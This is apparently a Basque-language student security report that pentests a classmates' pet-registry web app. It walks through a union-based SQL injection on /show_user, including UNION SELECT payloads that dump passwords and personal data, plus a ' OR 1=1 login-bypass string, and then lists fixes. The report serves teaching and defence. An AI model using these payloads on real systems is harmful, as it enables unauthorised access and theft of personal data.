Kudeaketaren eta Informazio Sistemen Informatikaren Ingeniaritzako Gradua

Maskoten erregistroa

Entrega 4. txostena

Informazio Sistemen Segurtasuna Kudeatzeko Sistemak

Egileak:

Lucia Del Rio,
Olatz Elejalde,
Maider Tato.

Irakaslea:

Mikel Egaña Aranguren

November 20, 2025

Contents

1 Sarrera

Entrega honetan, aukeratutako Web Sistemari egindako segurtasun-analisiaren eta eraso-probaren azalpena aurkeztuko dugu. Helburua da gure klasekideek lehenengo entregan (entrega_1) garatutako sisteman agertutako ahultasunak identifikatzea, haien jatorria eta arrazoinamendu teknikoak aztertzea eta horien gainean eraso baten simulazio praktikoa egitea.

Helburu nagusia ahultasunaren jatorri teknikoan sakontzea da, erasoaren exekuzio praktikoa xeheztasunez azalduz eta aplikazioaren segurtasuna hobetzeko gomendio zehatzak proposatuz.

2 Biktima eta proiektuaren informazioa

- Github URL-a: https://github.com/aneemoreeno1/ISSKSproiektua.git
- Aztertutako/erasotako adarra: entrega_1
- Erasotako taldea: Lankideak

Entrega honetan aplikazioaren lehen bertsioa aztertuko da, honek oraindik ez ditu segurtasun-neurri egokiak aplikatuta.

3 Erasoaren azalpena

Analisi prozesuan egiaztatu da aplikazioak datuak atzitzeko erabiltzen duen endpoint-ak ez dituela erabiltzaileek bidalitako inputak behar bezala balioztatzen. Baliozkotze faltagatik sarrerako parametroak zuzenean txertatzen dira SQL kontsultan, inolako filtraketarik edo egiaztapenik egin gabe.

Ondorioz, aplikazioak erasotzaile batek maneiatutako balioak onartzen ditu eta horrek SQL injekzio klasiko bat egiteko aukera ematen du. Egoera horretan erasotzaileak kontsultaren egitura alda dezake, esaterako WHERE klausulako baldintzak aldatuz, taula osoko informazioa bistaratuz edo datu-basean eragiketa kaltegarriak eginez (adibidez, erregistroak ezabatuz, aldatuz edo erregistro berriak txertatuz).

Ahultasun mota honek arrisku handia dakar, aplikazioaren datuen konfidentzialtasuna, osotasuna eta eskuragarritasuna arriskuan jartzen dituelako. Horregatik, ezinbestekoa da erabiltzaileen inputak behar bezala balioztatzea eta erabiltzea.

3.1 Aurkitutako lehenengo ahultasuna

3.1.1 Ahultasunaren azalpena

Atala	**Deskribapena**
Ahultasuna	SQL injekzioa - Union-Based
Arrisku maila	Altua
Non gertatzen da	GET /show_user?user=$balioa
Adibide kaltegarria	`http://localhost:81/show_user?user=5-2`
Zergatik gertatzen da	Aplikazioak ez ditu erabiltzailearen parametroak balioztatzen ezta garbitzen, eta balioak zuzenean sartzen ditu SQL kontsultan.
Zergatik da arriskutsua	Erasotzaile batek datu basearen eduki osoa irakurri, aldatu edo ezabatu dezake, erabiltzaileen datu sentikorrak arriskuan jarriz.

Table 1: Lehenengo ahultasunaren SQL injekzioaren arrisku eta azalpen taula

Aplikazioak erabiltzaile baten informazioa eskuratzen du URL-ko **user** parametroaren bidez. Parametro hori zuzenean txertatzen da SQL kontsultan, inolako baliozkotzerik, iragazketarik edo karaktere arriskutsuen kontrolik gabe. Hori dela eta, erabiltzaileak bidalitako balioa automatikoki bihurtzen da kontsultaren parte, eta horrek kontsulta maneiatzeko aukera ematen die erasotzaileei.

Ahultasun hau **SQL Injection** motakoa da eta **Union-Based SQL Injection** teknikaren bidez gauzatzen da. Erasotzaileak **UNION SELECT** erabili dezake jatorrizko kontsultari beste kontsulta bat gehitzeko eta aplikazioak bistaratzen duen informazioaren bidez datu-baseko informazioa ateratzeko.

Aplikazioak sortzen duen kontsulta honako hau da:

```
SELECT * FROM usuarios WHERE id = $user
```

user parametroak balio egokia badu (adibidez, 5) kontsulta zuzen exekutatuko da. Hala ere, inputa kontrolatu gabe egonez gero, erasotzaileak balio kaltegarriak sar ditzake.

3.1.2 Erasoa berregiteko azalpena

Hasteko, ahultasuna existitzen dela egiaztatuko da:

```
http://localhost:81/show_user?user=5-2
```

Hau egitean, hirugarren erabiltzailea erakusten badu, inputa SQL kode bezala exekutatzen dela egiaztatuko dugu.

Ondoren, kontsultak zenbat zutabe dituen ezagutzeko, `ORDER BY` erabiliko dugu:

```
http://localhost:81/show_user?user=-1 ORDER BY N
```

Webgunean errorea agertzen denean N-1 eginez zutabe kopurua lortuko dugu, hau da, erabiltzaile bakoitzarentzat zenbat datu gordetzen diren.

Jarraitzeko atal guztiek datuak baimentzen dituztela egiaztatuko dugu hurrengoa ipiniz:

```
http://localhost:81/show_user?user=-1 UNION SELECT 'A1', 'B2', 'C3', 'D4',
'E5', 'F6', 'G7'
```

Atal guztietan mapeoa agertzen bada, testua onartzen dutela jakingo dugu.

Amaitzeko, erabiltzaileen datuak hurrengo kontsultarekin lortuko ditugu:

```
http://localhost:81/show_user?user=-1 UNION SELECT pasahitza, nombre, nan,
telefonoa, jaiotze_data, email, pasahitza WHERE id=1
```

Pasahitza nan atalean jarriko dugu, ez dagoelako pasahitza erakusteko atalik.

Teknika horren bidez, erasotzaileak jatorrizko kontsulta ordezka dezake edo beste taula bateko datuak gehitu ditzake **UNION SELECT** erabilita. Ondorioz, datu-baseko informazioa mugarik gabe bistaratu, kontsulta maneiatu, datuak ezabatu, aldatu edo beste taula batzuen egitura eskuratu daiteke. Horrek aplikazioaren segurtasuna erabateko arriskuan jartzen du.

3.1.3 Erasoaren inpaktua

Ahultasunaz baliatuta, erasotzaile batek:

- Datu pertsonalak eskuratu ditzake (izena, NAN, telefonoa, emaila, jaiotze-data...)
- Pasahitzak eskuratu ditzake (plaintext edo hash formatuan)
- Erabiltzaileen kontuak maneia ditzake
- Sistema osoa suntsi dezake datuak ezabatuz edo aldatuz

Hau bereziki arriskutsua da, erabiltzaile askok pasahitz berdinak erabiltzen dituztelako hainbat zerbitzutarako.

3.2 Aurkitutako bigarren ahultasuna

3.2.1 Ahultasunaren azalpena

Atala	**Deskribapena**
Ahultasuna	SQL Injection – Login bypass
Arrisku maila	Altua
Non gertatzen da	Login formularioa, erabiltzaile eta pasahitza sartzeko
Adibide kaltegarria	Erabiltzailearen eremuan `' OR 1=1 LIMIT 1 - -`, (pasahitza edozein) sartu.
Zergatik gertatzen da	Aplikazioak ez ditu erabiltzailearen inputak balioztatzen edo karaktere arriskutsuak filtratzen. Hori dela eta SQL kontsula maneia daiteke input kaltegarriei esker.
Zergatik da arriskutsua	Erasotzaile batek login egin dezake edozein kontura, pasahitzik jakin gabe. Horrek konfidentzialtasuna eta kontrola arriskuan jartzen ditu, batez ere kontu administratiboak badira.

Table 2: Bigarren ahultasunaren SQL injekzioaren arrisku eta azalpen taula

Login formularioak erabiltzaile baten autentikazioa egiten du **izena** eta **pasahitza** parametroen bidez. Normalean SQL kontsulta honelakoa izaten da:

```
SELECT * FROM usuarios WHERE nombre='$usuario' AND pasahitza='$contraseña'
```

Arazoa da aplikazioak ez dituela input horiek balioztatzen edo karaktere arriskutsuak filtratzen. Hori dela eta, erasotzaileak input manipulatua erabil dezake SQL kontsulta aldatzeko, eta SQL Injection – Login Bypass teknikaren bidez autentikazioa saihesteko. Teknika honetan ' OR 1=1 - - bezalako kateak erabiltzen dira; horien bidez kontsultak beti egi moduan ebaluatzen dira, eta sistemak pasahitza egiaztatu gabe erabiltzailea sartzen uzten du.

3.2.2 Erasoa berregiteko azalpena

Erasoa berregiteko, erabiltzailearen eremuan, hurrengo inputa sartu behar da:

```
' OR 1=1 LIMIT 1 -- -
```

Input hori erabiltzailearen eremuan sartuz, kontsulta SQL honelakoa bihurtzen da:

```
SELECT * FROM usuarios WHERE izena=' ' OR 1=1 LIMIT 1 -- -'
AND pasahitza='edozein'
```

Hori dela eta, erasotzaileak login egin dezake lehenengo erabiltzaile bezala, pasahitza jakin gabe.

3.2.3 Erasoaren inpaktua

Ahultasunaz baliatuta, erasotzaile batek ondorengo ekintzak egin ditzake:

- Edozein kontura sartu daiteke, pasahitzik ezagutu gabe.
- Kontu administratiboak erabiliz sistema osoaren kontrola eskuratu.
- Erabiltzaileen datuak aldatu, ezabatu edo informazioa lapurtu.

- Segurtasun arazo larriak sortu, batez ere erabiltzaileek kontu berdinak hainbat zerbitzutan erabiltzen badituzte.

4 Gomendioak eta hobekuntza neurriak

Ahultasunak konpontzeko eta etorkizunean eraso berriak ekiditzeko, gomendio batzuk jarraitu ahal dira.

- Erabiltzailearen sarrera guztien baliozkotzea.
- SQL mezuak ezkutatzea edo errore orokorrak erabiltzea hauek adierazteko.
- Datu-baseko erabiltzaileari baimen egokiak eman (eta kontu handiz ibili baimenak ematerako orduan).
- Sistemak hobetu eta erasoen saiakeren jarraipena egin.

5 Ondorioak

Argi dago aplikazioaren lehenengo bertsioak segurtasun-arazo larriak izaten dituztela orokorrean. SQL injekzioaren bidez datu pertsonalak eskuratu, eraldatu edota ezabatu ahal dira sistemaren konfidentzialtasuna, osotasuna eta eskuragarritasuna arriskuan jarriz.

Hau jakinda, ezinbestekoa da garatzaileek arrisku eta ahultasun hauek kontuan izatea hurrengo bertsioak garatzerakoan.